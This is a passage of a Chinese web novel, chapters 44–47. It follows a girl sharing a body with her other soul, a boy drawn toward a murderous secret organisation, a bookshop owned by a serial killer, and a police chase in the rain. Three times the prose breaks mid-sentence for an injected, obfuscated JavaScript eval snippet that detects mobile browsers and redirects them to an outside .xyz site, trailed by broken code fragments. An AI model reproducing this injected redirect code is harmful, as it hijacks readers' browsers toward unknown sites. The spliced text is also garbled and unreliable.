我很庆幸我选对了,也很庆幸我做糕点的手艺没有退步,你看起来很喜欢我做的零嘴。 很长一段时间里,我把食物当成了维系我们关系的纽带。如果做了新的糕点,我就有理由把你叫来我们家,我就能再见到你了,我总是这样有些卑微地想。 幸好,我是一个幸运的老家伙,你是一个好姑娘,不需要特意寻找纽带,你会自行敲响我们家的门。你用行动告诉我,我不需要特意付出也可以获得你的爱。 我亲爱的姑娘,你就像一个装满爱的容器,你平等地把爱分给很多的人,又从他们那里收获了很多的爱。 从前我想用什么东西把你拴住,用一双巧手,或是一张笑脸,什么都好,我想把你留在我身边。后来我才发现,一直是你主动把我留在你身边,你成了我留在城里的理由。 我这才发现,在我想要留住你的时候,我就已经被你留住了。 后来,我们之间似乎形成了某种默契,你时不时来陪我说说话,而我会给你准备各种各样的零嘴。 渐渐的,我在那里落了根,我认识了一些和我一样的老头老太,偶尔我会下楼和他们下棋,又或者只是聊天。 我的生活地点和方式发生了很大的改变,我需要学会使用热水器,学会使用煤气灶,学会看红绿灯过马路。这改变一度让我感到不安,我慢慢地学习,慢慢地习惯,然后我学会了,习惯了。连我自己都感到不可思议,一把年纪的我也能学会那么复杂的东西。 亲爱的姑娘,你对我来说很重要,是你无法想象的重要。早在很久之前,我就把你当成了我的家人,我的孙女。 我爱你,你可能无法想象我有多爱你,连我自己都无法形容。如果有人要打你,我会抄起扫帚把ta打得落花流水;如果有人要骂你,我会叉着腰把ta骂得狗血淋头。我会为了你变成你没见过的彪悍模样,我是如此的爱你。 我爱你,我爱你,我亲爱的姑娘,所以我不希望你难过,不希望你落泪。我希望你永远笑得灿烂,我希望你永远活得精彩,我希望你永远不要被任何困难打倒。 很遗憾我已经看不到你的脸了,也不能帮你擦去眼泪了。虽然看不到,但我还是希望你笑一笑,姑娘,笑一笑。我圆满地度过了一生,我不需要你替我难过,所以,笑着送我离开吧。 永远爱你的花稻丰。 44. 蝶蛛 在看完信的很长一段时间里,大温和小温都保持着沉默。 大温默默把信纸折好,放回信封里,她从衣柜的角落里翻出一个曲奇饼的盒子,铁质的圆形盒子沉甸甸的,打开是各种各样零碎的物品。有上个世纪生产的硬币、海边捡的漂亮贝壳、自己打磨的桃子核手链,以及一些朋友写的信。 大温把花奶奶的信和朋友的信放在一起,珍重地放好,合上衣柜。她就像什么也没发生一样,按部就班地干自己的事,一直到睡着后进入逆转空间,眼泪才终于抑制不住地流下。 小温一看她哭就忍不住了,一边哇哇大哭一边控诉大温:“呜……不是说了不能哭吗你为啥哭啊呜呜呜……” “你、你不也哭!”大温边抹眼泪边喊。 “我没有!”小温嚎。 “你——咳咳!”大温本想拔高音量嚎得比小温大声,结果被自己的口水呛到了,扭头咳得两眼汪汪,回头对小温嘴硬道,“你看,我是咳出的眼泪。” 小温心累得很,懒得和大温掰扯,她抹了把眼泪,找了个角落缩着,不知道在想什么。 大温也抹了把眼泪,盘腿坐在地上,尝试呼叫系统。 【系统】:您好,宿主。 蓝色的光圈显现,不到一秒钟的时间,系统便回应了大温的呼叫。自从系统完成升级后,再也没有出现呼叫无响应的情况了,系统故障貌似真的修好了。 “事件一被判定为完成的依据是什么?”大温直截了当地问道。 【系统】:我尚且无法回答这个问题,请您继续探索。 “这次不说没有权限了?” 系统诡异地沉默了片刻。 【系统】:您记得我上次的回答,就应该知道我是不能说的。与系统一切的问题都请您自行探索,我无可奉告。 “成吧,那我问一个与我相关的问题。”大温伸了个懒腰,余光悄悄瞥向小温,小温距离她有段距离,这个距离小温是没法听到大温的声音的,大温接着问道,“既然我和小温一体二魂的局面是系统故障导致的,那么系统恢复正常后,我们的灵魂是否会融合?” 【系统】:是的,你们无法一直维持这样的生活。 “多久会完全融合?” 【系统】:我不清楚,五年,十年,又或者更久。融合在最初就已经开始了,你们一直在潜移默化地影响着彼此。当你们的生活习惯与性格完全一致时,当你们思维彻底同步时,你们离彻底融合就不远了。 “我……还有一个问题,假如我们灵魂融合了,我们的记忆是否也会融合?” 【系统】:是的。 虽然早有猜测,但在得到确切的答案后,大温还是有些黯然。人是由记忆塑造而成的,一个拥有思想的个体,不同的人生经历让大温和小温成为相对独立的个体,大温不想融合。 她不想让小温继承她的记忆,她的记忆里太多不好的东西了,那些东西她自己背负就好了,没必要让小温和她一起承担那份痛苦。 大温垂眸思索着,蓝色的光圈等待片刻,看大温没有再说话,便悄然消失了。 大温摇摇脑袋,她不能再想这件事了,眼下还有更加重要的事情需要思考。 事件一结束的系统通报响起的时间很耐人寻味,它是在花奶奶咽气时响起的,而不是在李常被烧死时。难道事件一结束的判定标准,就是花奶奶的死? 这个猜测……细想确实解释得通。如果每获得一个技能就需要失去一位亲人,那么,这技能不要也罢。什么东西都不值得拿她亲人的命来换,她自己的命也不值得。 …… 在大温阅读花奶奶的信时,何景澄也在阅读信件,只不过他阅读的是电子邮件。 【你的选择令我意外,你果真是一个很狡诈的人,我确实想要一个继任者,而你是最合适的人选。一个擅长伪装的聪明孩子,一个没什么道德感的隐形疯子,你确实很合适。但你也真的很狡猾,我如何相信你是真心想要加入我们,而不是伺机窃取我们的情报?我知道的,你的小姨在追查我们的组织,我如何保证你不是她派来的卧底?】 何景澄点击输入框,打下一行字:没有刑警会让一个小孩子去当卧底,况且,你们组织要是能被一个小孩窃取到机密情报,早就应该垮台了。正如你所说,我是个没什么道德感的疯子,我只要达成我的目的,其他的事我不管。 他刚想按下回车键发送邮件,光标闪烁,冒出了新的字。 【你说的对,你确实无法扳倒组织。所以一个十几年来一直循规蹈矩、遵纪守法的人,为什么突然对我们组织产生兴趣?】 在看到这行字的那一刻,何景澄便知道自己已经处于监视之下了,他干脆放弃打字了,直接对着电脑说道:“疯子最能理解疯子的想法,疯子从不讲逻辑,这你是知道的。与其讨论我是否忠诚,不如说说我能够带给你们的价值。” 【哦?你很自信,那么你能带给我们什么呢?】 “一出精彩的戏剧,一场不负‘狐狸’之名的游戏。” 屏幕上的光标闪烁了好一会,对面的人似乎是陷入了沉默,好一会屏幕上才出现新的字。 【你果然是个聪明又狡猾的家伙,那么,容我做个自我介绍吧。我的代号是狐面,游戏名为“狐狸的游戏”。我对你很感兴趣,拿出足够的证明,证明你有成为我的继任者的资格。烧杀劫掠,我允许你随意选择证明的方式,只要它足够有趣。】 何景澄睫毛轻颤,手指微动:“组织会为我的行动提供帮助吗?” 【之后会有人把你拉进一个群聊,那里都是和你一样企图加入组织的人。你可以在那个群聊里随便寻找队友,又或者寻找你的目标,都可以,随便你。小子,顺道给你提个醒,如果你真的足够聪明,应该能知道什么可以做,什么不可以做。不要让我动手,我还不想违反游戏规则。】 “不用你提醒,我自有考量。”何景澄关掉邮件,起身离开,走了两步后停下说道,“可以请你不要监视我吗?” 四周静了片刻,随后电脑屏幕上冒出一个旋转的圆圈,几秒钟后,电脑关机了。 何景澄斜眼瞥着黑掉的电脑屏幕,稍稍松了口气。如果他得到的信息没有错的话,那个名为狐面的人暂时不会监视他了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364389|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但他不能完全保证,于是他又在房间里检查了好几遍,最后从书桌的抽屉里拿出一本笔记本,走到房间的角落面对着墙角打开笔记本。 笔记本只有巴掌大,不算很厚,第一页写着几行字,字迹清秀俊逸,内容简明扼要。 以下为个人总结: 1.组织名称为蝶蛛,其内部成员身上皆有一个蝴蝶形的蜘蛛的纹身,成员数量不详,每位成员都拥有代号和自己的游戏。 2.正式加入组织需要直接或间接杀死至少一人,组织内部有一套严格的晋升标准,具体不详,推测与游戏有关。 3.组织干部地位有高低之分,晋升为组织干部需要开启自己的游戏,以自己的方式杀人。结束游戏后由全体现任干部进行投票,决定是否晋级,同时票数也决定干部晋级后的地位。 4.晋级游戏为个人游戏,游戏的开启者在开启游戏前会制定详细的游戏规则,开启者无法违反规则。 5.游戏的开启者被称作“猎人”,被盯上的人被称为“猎物”,通常猎人会选择一个或多个猎物,具体选择方式与猎人的游戏规则有关。 6.规则上猎物可以战胜猎人,组织成员和干部不会阻止猎物挑战猎人,若猎物胜利,组织成员不能打扰游戏胜利者及其亲属的生活,更不能杀害游戏胜利者及其亲属。 7.在游戏中获胜的猎物可以获得一张邀请函,使用邀请函可以参与入组考核,邀请函仅限本人及亲属使用。 总结到此结束,何景澄目光下移,看到了首页最下方的一行字。与前文不同,最下方的字是用红笔写的,字体更大更醒目。 上面写着:不要靠近蝶蛛。远离。远离。远离。 每一个“远离”都比前一个“远离”要大,仿佛在无声地呐喊。何景澄又往后翻了翻,之后是一些日常记录,有效信息比较少,零碎的信息基本都已经总结在首页了。 何景澄不是第一次阅读这本笔记,但他仍和第一次阅读时一样震惊,心脏在胸腔里快速跳动着,不仅仅是因为这本笔记所记录的内容,还因为笔记的记录者。 这本笔记是他母亲的,所记录的内容是他母亲亲身经历并总结出来的。 再次阅读笔记,何景澄看得很快,不一会儿便看到了最后一页。最后一页的记录很简单,只写着一句话:信息收集完毕,明日便是反击日。 翻过最后一页,之后的半本笔记都是空白,记录到此戛然而止了。何景澄不知道那一天母亲到底经历了什么,只知道他现在能相安无事活到这么大,都是因为母亲在游戏中胜利了。 何景澄心情复杂地合上笔记本,如果可以,他很想知道母亲到底是如何取胜的。但是不会有母亲让未成年的孩子接触反社会组织的,他还不能让母亲知道他已经发现这件事了。 何景澄一声轻叹,悄悄收好笔记本。他正准备把笔记本放回原处,就听见有人敲响了他的卧室门。 指关节敲击木门,发出两声清脆的声响,何景澄绷直了身体,隐隐有些不好的预感,随后着不好的预感成了真,他听见了母亲一贯严厉的声音:“澄,开门。” 45. 金象书店 在听到母亲的声音的那一刻,何景澄便知道自己已经被发现了。他的敏锐直觉和超凡的观察力都遗传自他的母亲,被母亲发现其实是意料之中的事。 何景澄拿上笔记本,认命地打开卧室的门锁,门外站着一个披散头发的中年女人,她长得和金凤零很像,但更冷厉,不笑时更冷了,像一块千年不化的冰。此刻她神情严肃,抱臂站在门口,给人的感觉更冷了。 何景澄默默垂下眼,他没有想好应该说什么,无论说什么好像都不太合适。 两人相对而立,沉默良久,金元柏才开口问道:“我都说过什么?” “……” “笔记给我,不准再调查了。” 何景澄乖乖把笔记递给金元柏,在金元柏的手捏住笔记本时,何景澄没有立刻松手,他只是坚定地说:“妈妈,这一次你管不住我的。” 金元柏蹙眉,语带不悦:“你觉得你很聪明,是吗?” “不是,”何景澄看着母亲带着愠怒的眼,“我只是有必须要做的事,必须要救的人。” “澄,救人需要在保证自己安全的前提下进行。” “我知道,但她曾经救我一命,如今她深陷泥沼,我无法坐视不理。妈妈,你没有教过我忘恩负义的道理。” 金元柏沉默了,眼中的怒火一点点熄灭,她有些疲惫地放下手,认命一般妥协道:“我知道了,我会帮你的,跟我来吧。” 何景澄松了口气,能够得到母亲的帮助再好不过了,他虽然有些保命的手段,但也不是能百分百保证能活着回来的。 有金元柏这个游戏胜利者的帮助,他今后的路应该也不至于太难走吧。 …… “我们去金象书店吧!”清晨刷牙时,大温兴奋说道。 小温没什么精神,她这几天都没什么精神。距离花奶奶的葬礼已经过去了三天,即便小温听从了花奶奶的话,没有再哭了,但她还是忍不住情绪低落。 小温天天垂头耷脑的,大温想了很久应该怎么让小温有点精神,最后她想到了书店。 当然,不是说小温看到书会高兴,她是武学少女不是文学少女,要是看的是武林秘籍她可能会高兴些——前提是那武林秘籍是真的,而不是杜撰的。 大温让小温去书店,其实是想让小温提前遇见徐幼盈。徐幼盈很喜欢书,她平时很少出门,出门时十有八九是去书店,而金象书店是她最常去的书店。 而金象书店的店主,就是杀死徐幼盈的连环杀人犯,悼亡诗案的凶手。 “书店?现在就要开始事件三了吗?”显然小温也没有忘记这一点,她似乎来了点精神,满嘴白沫地对着镜子说道。 “不,我只是想让你去见徐幼盈而已。”大温叹息道,“歇会吧,精神太过紧绷可不是好事。” 前世是徐幼盈主动和大温搭话,大温觉得这一世应该让小温主动和徐幼盈搭话。除了这一点外,其实还有另一个原因,是大温想见徐幼盈了。 小温咕噜咕噜漱口,吐掉口中的白沫,双手接了一捧水泼在脸上,用清水洗了个脸。 小温顶着湿漉漉的脸,看着镜中的自己,问出了一个早就想问的问题:“可是,让你再次见到杀掉朋友的凶手,这对你来说是放松吗?” 对于小温来说,徐幼盈还是一个陌生人,对于杀掉徐幼盈的凶手,小温会感到愤怒,但不会有过大的反应。而大温不同,对于大温来说,徐幼盈是最要好的朋友。她们面对凶手时的心情是一样的,但是程度完全不一样,大温显然更恨那个凶手。 大温沉默了,她一时间竟然不知道如何回答。她仔细想了想,发现自己心中那滔天的怒意好像没有那么汹涌了。这是什么时候的事?直到前世死前,大温想起书店老板时还会感到愤怒得无以复加,连带着讨厌所有的书店。现在再想起时,居然没有那么愤怒了,好像一切都过去了。 大温立刻便意识到了,这是灵魂融合的结果,她的愤怒被小温中和了。而这显然仅仅只是开始,独属于大温的记忆和情感会被一点一点地转移到小温身上,这便是融合。 大温打了个寒战,她沉默得有些久了,小温扯了张纸巾把脸上的水擦干净,疑惑问道:“大温?” “这个你不用担心,我没事,不过你要好好演戏才行,可不能让人看出你知道些什么。”大温语气轻快道。 “唔,这个确实有点困难,他要是惹我生气了,我真的会动手的。” “麻烦收敛一下,接下来我们还要和他打好关系呢。” “放过我吧……真不想和变态杀人犯打交道……” 埋怨归埋怨,该做的还是要做,小温收拾收拾,来到了金象书店的门前。小温偶尔会骑自行车出来兜风,路过这家书店好几次了,但一直没进去过,今天还是第一次进去。 这家书店离丰林市一中很近,门是二开合的推拉式玻璃门,小温搓搓脸,做了几组深呼吸,确保自己不带任何负面情绪后,推开了书店的玻璃门。 书店内开了空调,一推开玻璃门,小温便感受到了店内令人身心舒适的凉气。收银台没有人,店长不知道去哪了。旁边是楼梯,书店共两层,一楼摆放着教辅书和文学类书籍,正中央的螺旋书架上摆放着宪法等各类法治书籍。往里走还有文具区和阅读区,有家长带着孩子在阅读区看书。 小温闲逛一般往里走,大温借着小温的眼睛寻找着徐幼盈的身影,她看了一圈,没有看到徐幼盈,反倒是看到了一个意料之外的人。 小温自然也看到了,她一声惊呼,二人几乎是同时出声道:“姐姐?” 抱着书的白裙少女愕然看着小温,语气中带着些不可思议:“你是那天那个女孩子!叫……叫……” 眼前的少女,正是那天与小温一同游玩密室的那对姐弟中的姐姐,那个有些胆小的女生。 “温流照。”小温回答道。 “抱歉抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364390|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉,我记性不太好。”姐姐不好意思地笑笑。 “不不不!我才应该说抱歉,我之前都忘了问你的名字了,我该怎么称呼你啊?” “啊!是我忘了自我介绍了!我叫印白秋,那天和我一起的是我的弟弟印白夏。” “我可以叫你小秋姐吗?” 印白秋两颊泛起薄红,她有些不好意思道:“可、可以啊……不过你怎么知道我比你大?” 这个问题把小温问住了,她认真思索后答道:“我不知道,就是觉得你给人的感觉像姐姐,特别像电视剧里温柔漂亮的邻家姐姐。” 印白秋这下彻底不好意思了,她轻咳一声,转移话题道:“说起来,你为什么会在丰林市?” “我也想问你呢,我家就在丰林市,之前是有事去沛霖市。” 印白秋有些惊讶:“诶,我老家在沛霖市,搬来丰林市很多年了,好巧啊,我们都是丰林市人,却在沛霖市遇见了。” “是啊,说起来沛霖市离丰林市那么远,你为什么会从那边搬过来啊?”小温好奇问。 这问题一出口,印白秋的的神情便有些黯然。她低声说了句“稍等”,然后往一楼的阅读区走去,阅读区的角落有一扇小门,她抬手在门上敲了三下,片刻后,一个神情淡漠的男生打开了门。 小温认出了那是印白秋的弟弟,印白夏,同时她也意识到了不对劲,那扇小门显然不是普通顾客可以进去的,这对姐弟貌似和书店老板的关系不一般。难道是像徐幼盈那样,和书店老板关系很好吗? 小温猜测着,另一边的姐弟俩交谈了什么,二人齐齐向小温看来,小温冲他们微微一笑。印白夏点点头,表示他看到了,随后他们又说了什么,印白秋回头向小温招招手,示意她过去。 “我们进去聊吧。”印白秋指指半开的小门,示意小温进去。 小温推门而入,发现这是一间狭小的休息室,靠墙放着一张双层的铁架床。床边有一张书桌,书桌很大很宽敞,甚至可以坐下两个人,桌上摆着一些学习资料,有初中的也有高中的,不过大部分都是高三的复习资料。 书桌的墙上突兀地挂着一盏台灯,看起来是装修完后装的。小温抬头看了一圈,发现这间休息室虽然很小,但是该有的东西全都有,墙上有空调,书桌旁边甚至还有饮水机,布置这间休息室的人简直把能用的地方全都用上了。 “随便坐吧。”印白秋说着,坐在了双层床的下铺,小温也跟着坐在床上。 “你和这家书店的老板认识吗?”小温忍不住问道,这个问题从看到印白秋从休息室里走出来时,就一直在小温心里盘旋。 “嗯,他是我们的养父。”印白秋轻声答道,她低垂着头,提起“养父”一事似乎让她有些感伤,以至于她完全没有注意到小温霎时间变得苍白的脸色。 “她说……什么?”脑海中大温的声音都有些颤抖了,“那个杀人犯……他还收养了孩子?” 46. 养父 受影视作品的影响,大温印象中的杀人犯都是穷凶极恶、无亲无故之徒,她一直认为那个杀死徐幼盈的杀人犯一定也是这样。 他一定没有亲人,没有朋友,更没有爱人,他不会与这世界上的任何人产生羁绊,因为大温不相信有羁绊的人会如此丧心病狂。 可是现在,印白秋的话打破了大温一直以来坚信的道理,她惊愕地发现,这个杀人犯是有养子养女的,他居然收养了两个孩子? 小温的情绪波动没有大温那么激烈,短暂的震惊后,她又恢复了平静。 印白秋顿了顿,不知道是在平复情绪,还是在组织语言,她轻声说道:“我很小的时候就没了父母,我和弟弟辗转流落于各个亲戚家中,他们都不太乐意收养我们。我们总是在一个亲戚家里待上十天半个月后,又被赶去另一个亲戚家,就这样颠沛流离一年多,我们被养父收养了。” “养父是个外国人,但是在国内定居了很多年,中文流畅,交流起来并不困难。他是个很沉闷的人,不太爱说话,闷闷的。刚开始生活上需要什么,我都不太敢和他说,还是他发现后主动提的。就像这房间里的东西,原本这里只有床和书桌,这两样最基本的东西。” “这倒也没什么,毕竟我们只是白天帮忙看店时会在休息室住,平时都在家里住,需要住在休息室的时间凑合凑合就过去了。能被收养,有吃的住的我们已经很感激了,因此即便是夏季炎热,在休息室里热得睡不好,我们也没有和养父提过这件事。” “可他发现了,他发现我们热得睡不着后,主动在休息室里装了空调。”印白秋微微一笑,想起这些细枝末节的往事似乎让她有些高兴,“虽然不幸失去了父母,但好在我们遇到了对我们很好的养父。啊,抱歉,我说的可能有点多了。” 印白秋并不是个会随意对不熟的人讲述自己的经历的人,她能对小温说这么多,很大一个原因是之前在密室时,小温对她展现出友善的一面,这让印白秋不自觉地感到亲近。 小温是个很容易让人放松警惕、敞开心扉的人,她似乎天生就有特殊亲和力,吸引着众人的目光。 印白秋被吸引着,透露了自己的经历,这让她有些忐忑,担心自己会因此被小温厌恶。小温察觉到印白秋的忐忑,她及时说道:“没事的,你能和我说这么多,我很高兴。” 印白秋提着的心慢慢落回胸腔,小时候她曾对一位玩得很好的朋友提起过自己家里的事,朋友在得知她亲生父母都死了之后,慢慢就疏远了她。起初她不知道为什么,后来无意间听到朋友和其他同学聊天,朋友说:“我不敢和她一起玩了,总感觉有点膈应。” 膈应,这是一些人对丧父丧母的孤儿的感觉,印白秋不是第一次听到类似的话了。在短暂的收养过他们姐弟的家庭里,也曾经有迷信的亲戚说他们姐弟命格不好,天煞孤星的命,养不得。 这些经历让印白秋对自己的身世格外小心,她也没想到,今天竟然一下子就说出来了,好在小温确实和她给人的感觉一样,总是很温和,很包容。 虽然基本放心了,但印白秋还是多问了句:“你不会觉得膈应吗?” “膈应什么?” “我命不好,小时候父母都没了,是个天煞孤星,连个愿意收养我的亲戚都没有。”印白秋有些自嘲地说道。 小温明白了印白秋的意思,她认真道:“那不是你的问题,‘天煞孤星’只是一个将欺凌正当化的借口,我不认为我的命运会被你改变。” 印白秋低着头,沉默了很久,随后她笑着对小温说:“谢谢,你果然是个很特别的人。” 二人又唠了会家常,聊着聊着,小温像是突然想起似的,问道:“说起来,店长今天不在吗?” “爸爸今天有事外出,所以我和白夏才会出现在这里。” “他经常外出吗?” 印白秋摇摇头:“很少,其实他不太喜欢出门,每次出门要么是为了书店的事,要么是带我们出去玩。” 小温摸着下巴若有所思,和印白秋一起离开休息室。小温这时想起了此行的目的,她问身边的印白秋:“你有没有见过一个……额,经常来书店的女生?” “经常来书店的女生?”印白秋似乎真的开始思考了。 小温一开口,发现自己根本没法和印白秋形容徐幼盈长什么样,她自己都没见过。大温适时提醒道:“一个戴着黑框眼镜,瘦瘦小小很文静的女生。” “对,她戴着黑框眼镜,瘦瘦小小的,很文静。” “啊!你是说幼盈吧?”印白秋竖起食指,说道,“幼盈和爸爸关系挺好的,我和她的关系也还不错,她经常来这里,不过今天好像没来。” 小温有些遗憾:“好吧。” “你认识她吗?”印白秋好奇问道。 “单方面认识吧。” “诶。”印白秋有些惊讶,但小温没解释,她也就没问。 既然徐幼盈不在,小温也没有理由继续待在这里了,与印白秋告别后,小温离开了金象书店。 一离开书店,大温便在小温脑子里说:“虽然我一点也不希望印白秋是那个杀人犯的养女,但这确实是一个机会,小温,我们可能需要利用印白秋。” “你就不能换个词吗?”小温在心里嘟哝,“说利用也太难听了。” “事实如此,小温,我们需要从印白秋这里获得情报,找到线索,在那个杀人犯杀死徐幼盈之前,把他送进监狱。” “我知道……但我还是想骗自己,这不是利用。” 大温轻笑一声:“这确实不算完全的利用,因为你是真心把她当成朋友的。” 小温挑眉:“那你刚刚那么说是什么意思?” “谁知道呢。” 大温说完便不吭声了,小温抬头看着天空,出门时还晴空万里,这会已经阴云密布了。 得在下雨前快点回家才行啊,小温心道。 …… “我能在下雨前回家吗?”鱼小丹望着天空幽幽道。 自从上次发现许依然是反社会组织的卧底后,她就忙得脚不沾地。不仅要继续跟进调查,还要抓捕逃亡中的许依然。 经过这段时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364391|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的加班,鱼小丹发现,坐在办公室里整理资料分析报告可比出来抓人轻松多了。今天鱼小丹本来是要留在办公室里整理资料的,她正在庆幸今天的工作还算轻松,谁知道一通举报电话打了过来,又有路人发现了许依然的踪迹。 得到消息的金凤零二话不说,拽着鱼小丹出外勤去了,办公室里只剩下鱼小丹的哀嚎在室内回荡。同事们向鱼小丹投去怜悯的目光,看向金凤零的眼神里带着比以往更深的敬佩。 如果要他们票选一位工作狂,那金凤零一定会全票通过。 “别分心,注意警戒。”金凤零端着望远镜,头也不回地说道。 此时她们二人在一条漆黑狭小的小巷中,脚下是泥沙和垃圾,腰上别着枪。根据线索提供者的消息,许依然就在这一带附近,她是离那个反社会组织更近的人,要是能抓到她,案件就能获得新的进展了。 当然,前提是能抓到她。 这段时间她们展开了数次追捕,均无收获,不是情报有误,就是人已经溜走了。不得不说,许依然卧底公安局时,基本功是很扎实的,追了这么久硬是连面都没见到。 鱼小丹听话闭嘴了,和金凤零一人守着一边。天上传来隆隆雷声,一滴雨砸在鱼小丹的发顶,接着是更多豆大的雨滴扎在身上,她没有动,像一尊石像一般静静矗立着,仿佛和小巷的阴影融为一体了。 雷声能遮盖行动时发出的声音,雨水会冲刷痕迹,雷雨天是潜藏在暗处的犯人们行动的最好时机。金凤零静静等待着,如同草原上猎食的猛兽。 突然,远处建筑物的拐角处出现一个披着黑色雨衣的女人,女人戴着兜帽和口罩,看不清面容,身形藏在宽大的雨衣下,也看不太清楚。即便看不清,金凤零还是在第一时间察觉到了不对劲,近乎是同一时间,女人抬起眼,看向金凤零藏身的小巷,和黑暗之中的金凤零遥遥对视。 “咔嚓!”在对上眼神的那一瞬间,金凤零腿部发力,冲向雨衣女人。鱼小丹抽出别在腰间的枪,紧随其后。 雨衣女人一刻也没有犹豫,立刻转身拔足狂奔。这一带是老城区,原先是农村,后来才被划分到城郊的,因此这一带的建筑群较为零散,小路错综复杂。雨衣女人身手矫健,在小路里七拐八绕,试图甩掉追击的二人,鱼小丹和金凤零对视一眼,默契地分头行动。 金凤零改道包抄,鱼小丹持枪瞄准雨衣女人,大吼:“许依然,放弃抵抗,举手投降!” 鱼小丹说这话当然不是天真地认为许依然会乖乖投降,这句话只是一个警戒,让雨衣女人注意到她手上的枪。 雨衣女人没有理会鱼小丹,她在岔路口左拐,身影消失在鱼小丹的视野中。鱼小丹在心里暗骂一句,收回手加快奔跑的速度。 转过弯时,鱼小丹再次看到了奔跑的雨衣女人,与此同时,从另一侧包抄的金凤零也赶来了,二人一前一后堵住了雨衣女人的去路。 雨衣女人见前后的路都被堵死了,认命搬停在原地不动了。鱼小丹的枪抵到了雨衣女人的后背,她难得露出一个笑容,语气轻快中带着些玩味:“将军。” 47. 鸦羽 “呼,总算是抓到了。”金凤零也长舒口气,她和鱼小丹都被雨水淋透了,雨还在下,水顺着她的短发一束一束地流下。 鱼小丹抹了把脸,抹掉脸上的水,在雨衣女人的身后一把扯下她的雨衣兜帽:“你这家伙可真能逃,抓了那么久才抓住。” 在鱼小丹扯下雨衣女人的兜帽的那一刻,金凤零刚刚放下的心又提了起来,一把抓住女人的肩膀,厉声逼问:“你是谁?许依然在哪?” 鱼小丹心中一惊,连忙绕到雨衣女人面前一看,眼前的女人只有十几二十岁,长相普通,脸上有雀斑。鱼小丹一巴掌拍在自己脑门上,这人根本不是许依然,只是一个陌生女孩! 陌生女孩抖如筛糠,满脸惊惧,险些给两人跪下了,她哆哆嗦嗦地说:“我、我不知道啊……” 鱼小丹心情很差,本来以为能收工回家了,结果又被许依然摆了一道,她不耐烦地追问:“你不知道?那你跑什么?大雨天穿个黑布隆冬的雨衣在雨里跑什么?” 陌生女孩被吓得不轻,结结巴巴道:“有有有有人让我穿着雨衣躲躲躲躲在这里,我我我我不听就就就要杀了我……” 金凤零揉了揉眉心,按照这个女孩的说法,一开始出现的雨衣女人确实是许依然,后来追击时半路换的人。金凤零隐隐有种感觉,今天的情报可能是许依然自己透露的,她提前准备了一个和自己身形极其相似的人,就为了让她们追上来,然后再甩掉,打她们的脸。 “嘁!真是条滑溜溜的泥鳅!”鱼小丹显然也想到了这一点,被愚弄让她很恼火。 “总之你跟我们走一趟吧。”金凤零重重叹息,带着被吓得不轻的女孩回了局里。 金凤零走在前头,鱼小丹跟在最后,两人一前一后护送这倒霉孩子。鱼小丹在后面唉声叹气的,但也没忘记把那女孩的雨衣兜帽给戴好。 …… 远处一栋高楼的天台上,戴着狐狸面具的人收回望远镜,正好在这时,天台的门打开了,穿着黑色雨衣的女人气喘吁吁地赶来。 戴着狐狸面具的人闻声回头,看到雨衣女人时呵呵笑道:“很精彩的游戏,猫尾。” 面具人说话时,声音是经过变声处理的机械音,呵呵笑时很诡异。 被称作“猫尾”的女人一把扯下口罩,大口大口呼吸着新鲜空气:“哈……哈……差点闷死我了。” 雨渐渐停了,乌云散去,微弱的光透过云层投射在大地上。猫尾一把把雨衣的兜帽掀开,露出那张属于新任女警的脸——许依然的脸。 “喂,狐面,接下来要怎么办?丁文文那家伙貌似留了不少情报。”许依然理了理跑乱的头发,抖落雨衣上残留的雨水,随后走向戴着狐狸面具的人。 狐面就如代号一般,戴着红白相间的狐狸面具,全身包得严严实实的,看不出男女。许依然和狐面打了几次交道,狐面从来没露过脸,不仅不露脸,连声音都是经过变声的,可谓是谨慎到了极点。 狐面越是谨慎小心,许依然就越看不惯ta。狐狸是阴险狡诈的动物,而狐面的惯用手法就是栽赃嫁祸。 即便许依然再看不惯狐面,狐面的地位也还是比她高出一大截。她现在考核期还未结束,要想真正加入蝶蛛,必须得过狐面这一关。也就是说,看不惯也得忍着。 “不用担心,那点情报掀不起什么波澜。”狐面的声音里带着些许笑意,真奇怪,即便经过变声器处理,许依然还是能听出狐面的声音里带着轻蔑的笑。 “那被抓的那些人呢?方承平和大卫,他们真的不会说出什么情报吗?”许依然还是有些不放心,追问道。 “你的问题有些多啊,猫尾。”狐面深黑色的眼睛透过狐狸面具的孔洞,直直看着许依然,“你是在质疑我办事的能力吗?” “不、不敢……”许依然被盯得心里发毛,她打了个寒战,总觉得要是敢表现出质疑,狐面就会把她从高楼扔下去。 狐面似乎对她畏惧的表情很满意,藏在面具之后的眼睛微微眯起,似乎是在笑。 